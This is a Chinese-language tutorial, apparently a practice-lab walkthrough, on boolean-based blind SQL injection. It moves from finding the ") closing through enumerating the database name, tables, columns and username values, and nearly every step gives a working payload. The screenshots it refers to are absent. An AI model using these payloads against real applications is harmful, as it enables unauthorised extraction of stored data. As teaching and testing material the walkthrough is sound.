1、判断闭合方式
首先我们先确定,这个网站适合什么注入方式,我们先判断闭合方式。
输入语句
1") or 1=1 #
,返回如下页面:
说明该网站的闭合方式为")
。
2、确定注入方式
我们在网站中输入
1")
,返回如下页面:
我们发现它只返回错误的页面,但没有返回任何的错误信息,所以不是使用报错注入。而且这个网站没有回显,所以只能使用布尔盲注或时间盲注。但是因为输入错误信息和正确信息返回的页面不一样。所以,这次适合使用布尔盲注
3、确定数据库名的长度
我们输入语句
1") or length(database())=8 #
,返回页面如下:
这说明该网站的数据库名的长度为8。
4、爆破数据库名
我们输入语句
1") or substr((select database()),1,1)='s' #
,返回页面如下:
这说明该网站的数据库名的第一个字母是's'。接下来我么只需要改变substr函数的第二个参数,将它改成2,3,4(获得数据库名的第2,3,4个字母),然后通过该语句我么可以获得完整的数据库名。
5、获取数据表的数量
输入语句
") or (select count(table_name) from information_schema.tables where table_schema=database())=4 #
,返回页面如下:
这说明该数据库中共有4个数据表。
5、确定数据表名长度
输入语句
1") or (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 #
,返回页面如下:
这说明该数据库的第一个表名的长度为6。我们可以通过修改limit 0,1
中的0,来看其他表名的长度,将0改成1,2,3就可以看到第2,3,4数据表名的长度。
6、爆破数据表名
输入语句
1") or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' #
,返回页面如下:
这说明第一个数据表的名字的第一个字母是e。通过修改limit 0,1
中的0可以爆破其他数据表的名字。通过修改substr(,1,1)
中的第二个1将它换成2,3,4,就可以确定数据表名的第2,3,4个字母是什么了。
7、确定数据表中列的个数
输入语句
1") or (select count(column_name) from information_schema.columns where table_name='users')=18 #
,返回页面如下:
8、确定列名的长度
输入语句
1") or (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)=7#
,页面返回如下:
说明uers这个数据表的第一个列的列名的长度为7。也可以通过该方法获取其他列名的长度。
9、爆破列名
输入语句
1") or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u' #
,返回页面如下:
这说明users这数据表的第一列的列名的第一个字母是u,我们可以通过该方法或完整的列名以及其他的列名。
10、确定一个列中有多少条数据
输入语句
1") or (select count(username) from users)=13 #
,返回页面如下:
这说明users这个数据表中的username列共有13个条数据。
11、确定数据长度
输入语句
1") or (select length(username) from users limit 0,1)=4 #
,返回页面如下:
这说明users这个数据表中的username列的第一个数据的长度为4
12、爆破数据
输入语句
1") or substr((select username from users limit 0,1),1,1)='D' #
,返回页面如下:
我们由此可知第一个username数据的第一个字母是'D'。通过该方法,我么可以知道数据。